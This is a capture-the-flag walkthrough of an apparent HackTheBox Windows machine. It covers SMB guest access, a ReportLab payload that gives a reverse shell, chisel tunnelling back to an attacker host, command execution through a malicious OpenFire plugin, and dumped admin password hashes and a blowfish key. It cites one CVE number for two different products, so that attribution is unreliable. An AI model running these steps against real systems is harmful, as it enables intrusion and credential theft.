This is a Windows 10 machine with a SMB share configured to allow guest sessions. In the shared resource we find usernames and passwords, and after a RID bruteforce we get more usernames. A user shell is achieved exploiting CVE-2023-32315 in a Reportlab application running in the host. Regarding escalation, we move laterally exploiting CVE-2023-32315 in OpenFire, then decrypt the administrator password which is stored in the OpenFire database.
Generate request, upload a .png and capture with Burpsuite. Insert a payload after the travel_request parameter as indicated in the PoC.
Start a listener and send the request, a reverse shell is received. It can be used to retrieve the user flag.
SYSTEM
Place a chisel to forward internal ports 9090 and 9091.
# In Kali> ./chisel64 server -p 8000 --reverse# In the reverse shell.> .\chisel64.exe client <your_ip>:8000 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
Then upload a .jar plugin (taken from the same GitHub repository) to enable a command console. After uploading the plugin, navigate to Server -> Server Settings -> Management Tool, and select "System command". Insert a reverse shell, for example a Powershell base64 encoded payload. A shell as user openfire is received on the listener.
Under this shell you can enumerate the file C:\program files\openfire\embedded-db\openfire.script. This file contains an encrypted OpenFire admin password.
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
And a blowfish key which is needed to decrypt the key.
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
